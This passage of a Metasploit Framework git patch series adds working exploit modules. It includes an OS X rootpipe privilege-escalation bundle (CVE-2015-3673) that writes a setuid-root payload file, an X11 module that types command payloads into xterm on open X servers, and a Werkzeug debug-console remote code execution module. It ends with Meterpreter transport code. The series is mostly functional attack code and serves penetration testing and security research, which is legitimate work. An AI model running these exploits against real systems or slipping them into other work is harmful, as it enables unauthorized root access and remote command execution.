"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" + end + + def root_file + @root_file ||= + "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" + end + +end From a8b56bb44af776c00634fb57ea920b663f868eaf Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sun, 5 Jul 2015 18:24:45 -0500 Subject: [PATCH 0162/2172] Oops, need to include the binary files. --- data/exploits/CVE-2015-3673/exploit.daplug | Bin 0 -> 9384 bytes data/exploits/CVE-2015-3673/exploit.m | 31 +++++++++++++++++++++ 2 files changed, 31 insertions(+) create mode 100755 data/exploits/CVE-2015-3673/exploit.daplug create mode 100644 data/exploits/CVE-2015-3673/exploit.m diff --git a/data/exploits/CVE-2015-3673/exploit.daplug b/data/exploits/CVE-2015-3673/exploit.daplug new file mode 100755 index 0000000000000000000000000000000000000000..35671a51368e6072dff0e98b322d464b846a0eef GIT binary patch literal 9384 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 OMbDJ3bq2k|*#7{$I&Mb* literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2015-3673/exploit.m b/data/exploits/CVE-2015-3673/exploit.m new file mode 100644 index 0000000000..dc450487ba --- /dev/null +++ b/data/exploits/CVE-2015-3673/exploit.m @@ -0,0 +1,31 @@ +// gcc -bundle exploit.m -arch x86_64 -o exploit.daplug -framework Cocoa + +#include <dlfcn.h> +#include <objc/objc.h> +#include <objc/runtime.h> +#include <objc/message.h> +#include <Foundation/Foundation.h> + +#define PRIV_FWK_BASE "/System/Library/PrivateFrameworks" +#define FWK_BASE "/System/Library/Frameworks" + +void __attribute__ ((constructor)) test(void) +{ + void* p = dlopen(PRIV_FWK_BASE "/SystemAdministration.framework/SystemAdministration", RTLD_NOW); + + if (p != NULL) + { + id sharedClient = objc_msgSend(objc_lookUpClass("WriteConfigClient"), @selector(sharedClient)); + objc_msgSend(sharedClient, @selector(authenticateUsingAuthorizationSync:), nil); + id tool = objc_msgSend(sharedClient, @selector(remoteProxy)); + + NSString* inpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_IN"]; + NSString* outpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_OUT"]; + NSData* data = [NSData dataWithContentsOfFile:inpath]; + + objc_msgSend(tool, @selector(createFileWithContents:path:attributes:), + data, + outpath, + @{ NSFilePosixPermissions : @04777 }); + } +} From c993c70006cfe2801fc755f93c0a7a7d02c93213 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sun, 5 Jul 2015 18:59:00 -0500 Subject: [PATCH 0163/2172] Remove sleep(), clean up WritableDir usage. --- data/exploits/CVE-2015-3673/exploit.daplug | Bin 9384 -> 9292 bytes data/exploits/CVE-2015-3673/exploit.m | 2 ++ .../osx/local/rootpipe_entitlements.rb | 19 +++++++++--------- 3 files changed, 12 insertions(+), 9 deletions(-) diff --git a/data/exploits/CVE-2015-3673/exploit.daplug b/data/exploits/CVE-2015-3673/exploit.daplug index 35671a51368e6072dff0e98b322d464b846a0eef..17d8eacda461a45f6eafe44ef343dedfecbeb680 100755 GIT binary patch delta 1419 zcmZ8gU1(Eh82(O9V^7wf<g|uny6H*d{GoztT}rmm<wOWOVv35?znjdM;13!b+prE+ z8o`Sm4uRD7V)0_E+f}^~lz1Vcwm04UW6Hc(1(A9)PC+E%g}o@m_dVxzNI&@Ue$Vr~ zKi~W1yfeEW8I?&@YZcCVEV)*jx*S*QZ7vA8M%1U4;;Pc_q8O73d@aRQo!JRybuf{g zW%gfYXW^L?4_5syG?*pqfrPRi438FEWc5Q)!m^`QJ;Ra$KKXl93AmwbgaWGEDS4qN z_oyKzHO?M_>!>xuJZdr46xL!OHN~MWD?XhW9ricH)zT`z68w&Sl_tfvkNqa$4f-vt zs<i+K?_MbdQ{JAwI(s@MECh9HprsHGZt8EWTL^miY(xlKz-#XYsfAkg#*k=%UQZ|J zYm`9Ya(O7a68rS_=VATe{HvAP;Wam<@L^0wjcmhBNq<00s|UA(YrV>28TKjKrPk(& z60$~lpdCx!rSkR-2?;Z~Y+M*$MlAdne<7wkkU-h~gU(iTOA|T$bxqhL_TD!iU`XAt z#&JhGP()?iadjBQaZlbv_5`tJ(l#t_AF>nZ|5kRA*@JHGR}8-+SPm8mTG1EGZgt}q zG2V%@qBmG+cf+qTY&eYt54z#MF}p;pnOwl|+eA%RLzpURviuO`TMeI6@ecNju1~Nl zx@{g^QWn8MjP5tg;v5E+9JcL<6F+{<FyE!jzYTM61|z3aX0mFJQA)g;NSIHI^5C3N zF5W}&9;VzQixl=Yu*r?C;ENho5>0W^F#j~Hp-KB&y03+at>QEiRjfX<+nmFP43lCe zOS6>QZpNPqEVu0p(r7I`Z!{Vw*U{-8I`!4`_MfFT8s@K%q+N&m{zKsq4`Mgl?QHwm zYLEzYNi%RHurX6(t_7n%ULS_}5$kofD{K`W+_h}G*?z+|!?xhBy$o#h<A>?rriMd9 zyM{x<funAv4n6zRnQVGww3ta}PUW+?^J0HNsdVZv7YV`vE#F$jKAk01bf`zVJf%hW zPuuZXA=II#vuDl?=klT=3L2u^*r`!EZv{QvwfW1So<5g3eLQ`3<ivqoK8p%2DLtAS z85KTROw&M4*Di#&NRkFux_|7wO1e9&<SJ?|_BsH6=2zjTa4gdK1&t(rSmF~`75t1k V{d50o@N48sE8o_+ClogIzX!;tKB52s delta 1589 zcmZuxZD?Cn7(OQ--K{3eja#&$=xw{rx(Keal#bdatprc8MT>+LMMB%eZfk7Qr9lUl zwBRI{OEC3-*8Pg?$NER;$PcFznfQ@8WM2$FKr}xT?))LsKW6$PzVAJ6WCRbK`<(ZA z-{(E=`MTeTt?_a($b8Ic4X%)FycZ2N{L1JeuCZ}58q{|xYmi7?9^%oUAhtlPkS4G- zV!tD{CV$}3P$i&DK`h!XIjTJ%h06%p<ZVrgw%hS;y0ToCo$jZDx~`-IOqW6TF5V&Y z?r_i`(xB{yJPSTee(4U&m`Cf>h>uC`fx0O=My!xio~W$f5m%J&LtL5So};+3`~%o} z+gx=y>V1}P$qjG#39Yr0py=vmY#J~Nh!Pia&?`NR;T~6d8PmA@-TM&t;ZnU>Abhgl zwM)i2H2vqpzNy=j2NvIX=E?r^@zZ*By5k)0UV~(~m`9;w(jwT{!q6SN+OJ)4OT)LL zPzFkrh6iBYPjPNxd4F>wFk!|U_6-hWGhP?#t99_Qz#FHKDGk2}!S*LOwj!e*461E2 z`z#RsUz?Xe^1ZNDp+_DACwSg<LLH{Z36F0ByIw%rj9(R&cLHfE;#bM+d6m0^%xN@B zp|_mcA`JwyW{)ZPMUXo>D{`4UeM(*<^L{1ID)~pmx;b1*nEnFjzja&*NEJCv?q6ZS zA2&OlvaY~-A@Uro3X3g5$b^OFB!~xunYTfB%3=LEN58ry%)chg%fg(jfO2!fjF;`V zF(uT(M$N0DG-($^DSr#Rw;*R4W!CVBQWs%;!iodr*M#|%uo7!_0)$Y&may`hK$Kzj z%D8y}HgX6(=E>KZ%_d|DW3h08L-9u7B-GEu`WJZ6FMV#qmo@kHKtOZv9v74U`1?Y5 z-){a0(j)tDbR9<{)xn*wb3Z=*gFs@xEk6q!K4j3t-A{OsaD=e+y8waHF78mcEvNK{ z`FXjl-#6ZR{5MF`AoS1!*9jja+)p@0c#QBw^_u=jU?|vaB*wB`S^Why)jhFfGMQVM znOjKC9a%`u=Vy+m*wnICj-^gyQsBwYCTEW>rqaim+-JPW%kl%Gm)r81@i_jZmW{Rq zFV7s!urgcj13r~m%BC05IuME_mu8R6B{NG)3yJJgnVDP;`N0<dN^bu7^kND)YCO4; z&aJRcH(SFkcRqlB|K#&B#&^TeTg`Ou=A6m(o>vPW0s&VAj!LylZT59#gI2X)+U!4- s{huBW0x!c|(C=10=PyD3_gI@>&h?%N-?@*@HvG@d(w@kB_Y83MFTZkN3;+NC diff --git a/data/exploits/CVE-2015-3673/exploit.m b/data/exploits/CVE-2015-3673/exploit.m index dc450487ba..3cafbfc591 100644 --- a/data/exploits/CVE-2015-3673/exploit.m +++ b/data/exploits/CVE-2015-3673/exploit.m @@ -28,4 +28,6 @@ void __attribute__ ((constructor)) test(void) outpath, @{ NSFilePosixPermissions : @04777 }); } + + exit(1); } diff --git a/modules/exploits/osx/local/rootpipe_entitlements.rb b/modules/exploits/osx/local/rootpipe_entitlements.rb index 98bb4c91c4..3f8ab6613b 100644 --- a/modules/exploits/osx/local/rootpipe_entitlements.rb +++ b/modules/exploits/osx/local/rootpipe_entitlements.rb @@ -55,9 +55,9 @@ class Metasploit4 < Msf::Exploit::Local end def exploit - print_status("Copying Directory Utility.app") - cmd_exec('cp -R "/System/Library/CoreServices/Applications/Directory Utility.app" /tmp/') - cmd_exec('mkdir -p "/tmp/Directory Utility.app/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS"') + print_status("Copying Directory Utility.app to #{new_app}") + cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'") + cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'") print_status("Writing bundle plist to `#{plist_file}'") write_file(plist_file, plist) @@ -70,9 +70,7 @@ class Metasploit4 < Msf::Exploit::Local write_file(exploit_file, plugin_exploit) print_status("Running Directory Utility.app") - cmd_exec('/bin/sh -c "PAYLOAD_IN='+payload_file+' PAYLOAD_OUT='+root_file+' /tmp/Directory\ Utility.app/Contents/MacOS/Directory\ Utility &"') - - sleep(1) + cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\\ Utility'") print_status("Killing Directory Utility.app") cmd_exec('killall "Directory Utility"') @@ -109,17 +107,20 @@ class Metasploit4 < Msf::Exploit::Local end def exploit_file - "/tmp/Directory Utility.app/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle" + "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle" end def plist_file - "/tmp/Directory Utility.app/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist" + "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist" + end + + def new_app + @app ||= "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}.app" end def plist %Q| <?xml version="1.0" encoding="UTF-8"?> - !DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleGetInfoString</key> From 133e221dcd996dfe5b802a06605d5bd0939ccbb0 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sun, 5 Jul 2015 19:00:58 -0500 Subject: [PATCH 0164/2172] Remove unnecessary steps. --- modules/exploits/osx/local/rootpipe_entitlements.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/modules/exploits/osx/local/rootpipe_entitlements.rb b/modules/exploits/osx/local/rootpipe_entitlements.rb index 3f8ab6613b..ceb0456bde 100644 --- a/modules/exploits/osx/local/rootpipe_entitlements.rb +++ b/modules/exploits/osx/local/rootpipe_entitlements.rb @@ -72,11 +72,8 @@ class Metasploit4 < Msf::Exploit::Local print_status("Running Directory Utility.app") cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\\ Utility'") - print_status("Killing Directory Utility.app") - cmd_exec('killall "Directory Utility"') - print_status("Deleting Directory Utility.app") - cmd_exec('rm -Rf "/tmp/Directory Utility.app"') + cmd_exec('rm -Rf "#{new_app}"') print_status('Executing payload...') cmd_exec("/bin/sh -c '#{root_file} &'") From 13a69e4011c5797849785d67d4728d7ecd3b9363 Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Fri, 10 Jul 2015 13:57:54 +0700 Subject: [PATCH 0165/2172] X11 Keyboard Exec --- .../exploits/unix/x11/x11_keyboard_exec.rb | 252 ++++++++++++++++++ 1 file changed, 252 insertions(+) create mode 100644 modules/exploits/unix/x11/x11_keyboard_exec.rb diff --git a/modules/exploits/unix/x11/x11_keyboard_exec.rb b/modules/exploits/unix/x11/x11_keyboard_exec.rb new file mode 100644 index 0000000000..fdd91eb4ad --- /dev/null +++ b/modules/exploits/unix/x11/x11_keyboard_exec.rb @@ -0,0 +1,252 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + Rank = ExcellentRanking + include Msf::Exploit::Remote::Tcp + + KB_KEYS = { + '1' => "\x0a", + '2' => "\x0b", + '3' => "\x0c", + '4' => "\x0d", + '5' => "\x0e", + '6' => "\x0f", + '7' => "\x10", + '&' => "\x10", + '8' => "\x11", + '9' => "\x12", + '(' => "\x12", + '0' => "\x13", + ')' => "\x13", + '-' => "\x14", + '=' => "\x15", + 'q' => "\x18", + 'w' => "\x19", + 'e' => "\x1a", + 'r' => "\x1b", + 't' => "\x1c", + 'y' => "\x1d", + 'u' => "\x1e", + 'i' => "\x1f", + 'o' => "\x20", + 'p' => "\x21", + '[' => "\x22", + '{' => "\x22", + ']' => "\x23", + '}' => "\x23", + 'a' => "\x26", + 's' => "\x27", + 'd' => "\x28", + 'f' => "\x29", + 'g' => "\x2a", + 'h' => "\x2b", + 'j' => "\x2c", + 'k' => "\x2d", + 'l' => "\x2e", + ';' => "\x2f", + ':' => "\x2f", + "'" => "\x30", + '"' => "\x30", + '`' => "\x31", + '~' => "\x31", + 'lshift' => "\x32", + '\\' => "\x33", + '|' => "\x33", + 'z' => "\x34", + 'x' => "\x35", + 'c' => "\x36", + 'v' => "\x37", + 'b' => "\x38", + 'n' => "\x39", + 'm' => "\x3a", + ',' => "\x3b", + '<' => "\x3b", + '.' => "\x3c", + '>' => "\x3c", + '/' => "\x3d", + '*' => "\x3f", + 'alt' => "\x40", + ' ' => "\x41", + 'f2' => "\x44" + } + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'X11 Keyboard Exec', + 'Description' => %q{ + This module exploits open X11 servers by connecting and registering a + virtual keyboard. The virtual keyboard is used to open an xterm terminal + and type and execute the specified payload. + }, + 'Author' => + [ + 'xistence <xistence[at]0x90.nl>' + ], + 'Privileged' => false, + 'License' => MSF_LICENSE, + 'Payload' => + { + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'gawk bash-tcp python telnet netcat' + } + }, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => 'Jul 10 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(6000) + ], self.class) + end + + def press_key( key ) + req = "\x8e\x02\x09\x00" + req << "\x02" + req << key + req << "\x01" # Press key + req << "\x00" * 8 + req << "\x00\x05\x00\x05" + req << "\x00\x91\x01\x04" + req << "\x00\x03\x00\x02" + req << "\x00" * 4 + req << "\x00\x07\x00\x07" + req << "\x00\x2b\x00\x01" + req << "\x00" + + sock.put(req) + + res = sock.recv(1024) + # Response should give 1 on first byte (Success) + unless res and res[0] == "\x01" + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key}") + end + + end + + def release_key( key ) + req = "\x8e\x02\x09\x00" + req << "\x03" + req << key + req << "\x00" # Release key + req << "\x00" * 4 + req << "\x00\x08\x01\x00" + req << "\x00" * 8 + req << "\x00\x00\x00\x02" + req << "\x00" * 4 + req << "\x00\x07\x00\x07" + req << "\x00\x2b\x00\x01" + req << "\x00" + + sock.put(req) + + res = sock.recv(1024) + # Response should give 1 on first byte (Success) + unless res and res[0] == "\x01" + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key}") + end + + end + + def type_command( command ) + # Specify the special keys which need to have shift pressed first to type + specialkeys = '<>{}|"&()'.chars.to_a + values = command.chars.to_a + values.each do |value| + key = KB_KEYS[value] + # Special keys need a shift pressed to be typed + if Regexp.union(specialkeys) =~ value + press_key(KB_KEYS["lshift"]) # [lshift] + press_key(key) + release_key(KB_KEYS["lshift"]) + release_key(key) + # Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase + elsif value =~ /[A-Z]/ + press_key(KB_KEYS["lshift"]) # [lshift] + press_key(KB_KEYS[value.downcase]) + release_key(KB_KEYS["lshift"]) + release_key(KB_KEYS[value.downcase]) + # All normal keys which are not special keys or uppercase characters + else + press_key(key) + release_key(key) + end + end + # Send an enter + press_key( "\x24" ) # [enter] + release_key( "\x24" ) # [enter] + end + + + def exploit + + begin + connect + + print_status("#{rhost}:#{rport} - Register keyboard") + req = "\x6c" # Byte order (Little-Endian) + req << "\x00" # Unused + req << "\x0b\x00" # Protocol major version: 11 + req << "\x00\x00" # Protocol minor version: 0 + req << "\x00\x00" # Authorization protocol name length: 0 + req << "\x00\x00" # Authorization protocol data length: 0 + req << "\x00\x00" # Unused + # Keyboard registration + req << "\x62\x00\x05\x00\x09\x00\x60\x03" + req << "XKEYBOARD" + req << "\x00" + req << "\x00\x00" + sock.put(req) + + # Retrieve the whole X11 details response + res = sock.recv(4096) + + # Response should give 0x01 in first byte (Success) + unless res and res[0] == "\x01" + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Registering keyboard failed") + end + + # Press ALT+F2 to start up "Run application" + print_status("#{rhost}:#{rport} - Opening \"Run Application\"") + press_key(KB_KEYS["alt"]) + press_key(KB_KEYS["f2"]) + release_key(KB_KEYS["alt"]) + release_key(KB_KEYS["f2"]) + + # Wait a second to open the dialog + select(nil, nil, nil, 1) + + # Start a xterm terminal + print_status("#{rhost}:#{rport} - Opening xterm") + type_command("xterm") + + # Wait a second to open the terminal + select(nil, nil, nil, 1) + + # "Type" our payload and execute it + print_status("#{rhost}:#{rport} - Typing and executing payload") + command = "nohup #{payload.encoded} &2>/dev/null;exit" + + type_command(command) + + + handler + rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e + print_error("#{rhost}:#{rport} - #{e.message}") + ensure + disconnect + end + end +end From bff92f2304cc466bf79d429b7cc45cc354b56429 Mon Sep 17 00:00:00 2001 From: h00die <mike@shorebreaksecurity.com> Date: Fri, 10 Jul 2015 21:13:12 -0400 Subject: [PATCH 0166/2172] Initial add --- .../exploits/multi/http/werkzeug_debug_rce.rb | 79 +++++++++++++++++++ 1 file changed, 79 insertions(+) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index e69de29bb2..3a9433fcf7 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -0,0 +1,79 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + + def initialize + super( + 'Name' => 'Werkzeug Debug Shell Command Execution', + 'Description' => %q{ + This module will exploit the Werkzeug debug console to put down a + python shell. This debugger "must never be used on production + machines", but sometimes slips passed testing. + Tested against: + 0.9.6 on Debian + 0.10 on CentOS + }, + 'Author' => 'h00die <mike[at]shorebreaksecurity.com>', + 'References' => + [ + [ 'Website', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['python'], + 'Targets' => [[ 'werkzeug 0.10 and older', { }]], + 'Arch' => ARCH_PYTHON, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 28 2015', + ) + register_options( + [ + OptString.new('URI',[true,'URI to the console','/console']) + ], self.class + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['URI']) + }) + #https://github.com/mitsuhiko/werkzeug/blob/master/werkzeug/debug/tbtools.py#L67 + if (res and res.body =~ /Brought to you by <strong class="arthur">DON'T PANIC<\/strong>, your\n friendly Werkzeug powered traceback interpreter./) + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def exploit + #first we need to get the SECRET code + secret = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['URI']) + }) + if (secret and secret.body =~ /SECRET = "([a-zA-Z0-9]{20})";/) + secret = secret.body.match(/SECRET = "([a-zA-Z0-9]{20})";/).captures[0] + vprint_status("Secret Code: #{secret}") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['URI']), + 'vars_get' => { + '__debugger__' => 'yes', + 'cmd' => payload.encoded, + 'frm' => '0', + 's' => secret + } + }) + else + print_error("Secret code not detected.") + end + end +end + From 881967452285c408f6545acd3a2fd6519e345096 Mon Sep 17 00:00:00 2001 From: h00die <mike@shorebreaksecurity.com> Date: Sat, 11 Jul 2015 21:03:02 -0400 Subject: [PATCH 0167/2172] updated per feedback from PR --- modules/exploits/multi/http/werkzeug_debug_rce.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index 3a9433fcf7..3ed9af96a4 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -19,7 +19,8 @@ class Metasploit4 < Msf::Exploit::Remote machines", but sometimes slips passed testing. Tested against: 0.9.6 on Debian - 0.10 on CentOS + 0.9.6 on Centos + 0.10 on Debian }, 'Author' => 'h00die <mike[at]shorebreaksecurity.com>', 'References' => @@ -45,8 +46,8 @@ class Metasploit4 < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri(datastore['URI']) }) - #https://github.com/mitsuhiko/werkzeug/blob/master/werkzeug/debug/tbtools.py#L67 - if (res and res.body =~ /Brought to you by <strong class="arthur">DON'T PANIC<\/strong>, your\n friendly Werkzeug powered traceback interpreter./) + #https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67 + if res and res.body =~ /Werkzeug powered traceback interpreter/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe @@ -54,12 +55,12 @@ class Metasploit4 < Msf::Exploit::Remote def exploit #first we need to get the SECRET code - secret = send_request_cgi({ + res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['URI']) }) - if (secret and secret.body =~ /SECRET = "([a-zA-Z0-9]{20})";/) - secret = secret.body.match(/SECRET = "([a-zA-Z0-9]{20})";/).captures[0] + if res and res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/ + secret = res.body.match(/SECRET = "([a-zA-Z0-9]{20})";/).captures[0] vprint_status("Secret Code: #{secret}") res = send_request_cgi({ 'method' => 'GET', From 508c9f55df2b1dceb343a7101dceeaca956fc621 Mon Sep 17 00:00:00 2001 From: rwhitcroft <rw81junk@gmail.com> Date: Sat, 11 Jul 2015 22:22:50 -0400 Subject: [PATCH 0168/2172] specify transports by index --- .../ui/console/command_dispatcher/core.rb | 55 ++++++++++++++----- 1 file changed, 42 insertions(+), 13 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 229fcc2001..b551ed0fa9 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -28,6 +28,9 @@ class Console::CommandDispatcher::Core self.extensions = [] self.bgjobs = [] self.bgjob_id = 0 + + # keep a lookup table to refer to transports by index + @transport_map = {} end @@irb_opts = Rex::Parser::Arguments.new( @@ -571,7 +574,7 @@ class Console::CommandDispatcher::Core '-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ], '-l' => [ true, 'LHOST parameter (for reverse transports)' ], '-p' => [ true, 'LPORT parameter' ], - '-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ], + '-i' => [ true, 'Specify transport by index (currently supported: remove)' ], '-ua' => [ true, 'User agent for HTTP/S transports (optional)' ], '-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ], '-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ], @@ -601,6 +604,13 @@ class Console::CommandDispatcher::Core print_line(@@transport_opts.usage) end + def update_transport_map + result = client.core.transport_list + @transport_map.clear + sorted_by_url = result[:transports].sort_by { |k| k[:url] } + sorted_by_url.each_with_index { |t, i| @transport_map[i+1] = t } + end + # # Manage transports # @@ -637,12 +647,13 @@ class Console::CommandDispatcher::Core } 